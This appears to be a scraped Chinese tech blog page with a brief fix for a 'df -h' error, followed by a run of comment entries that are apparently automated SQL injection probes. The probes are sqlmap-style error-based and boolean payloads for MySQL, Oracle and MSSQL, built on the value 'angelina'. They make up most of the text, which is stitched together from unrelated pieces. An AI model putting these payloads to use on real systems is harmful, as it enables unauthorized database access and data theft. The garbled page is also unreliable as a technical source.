执行df -h命令报错

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执行df -h命令报错
df: `': No such file or directory
df: no file systems processed
解决方法：cat /proc/mounts > /etc/mtab

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2019-12-20 10:28
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(SELECT CONCAT(0x71766b7a71,(SELECT (ELT(8490=8490,1))),0x71626b7671))
2019-12-20 10:28
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(SELECT 7255 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(7255=7255,1))),0x71626b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
2019-12-20 10:28
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angelina AND 2527=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2527=2527) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)-- HXCM
2019-12-20 10:28
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angelina AND 2527=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2527=2527) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)
2019-12-20 10:28
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angelina) AND 2527=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2527=2527) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND (5128=5128
2019-12-20 10:28
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angelina' AND 2527=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2527=2527) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND 'zwef'='zwef
2019-12-20 10:28
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angelina') AND 2527=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2527=2527) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND ('BOjU'='BOjU
2019-12-20 10:28
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angelina AND 3982 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (3982=3982) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(118)+CHAR(113)))-- YQlZ
2019-12-20 10:28
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angelina AND 3982 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (3982=3982) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(118)+CHAR(113)))
2019-12-20 10:28
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angelina) AND 3982 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (3982=3982) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(118)+CHAR(113))) AND (5698=5698
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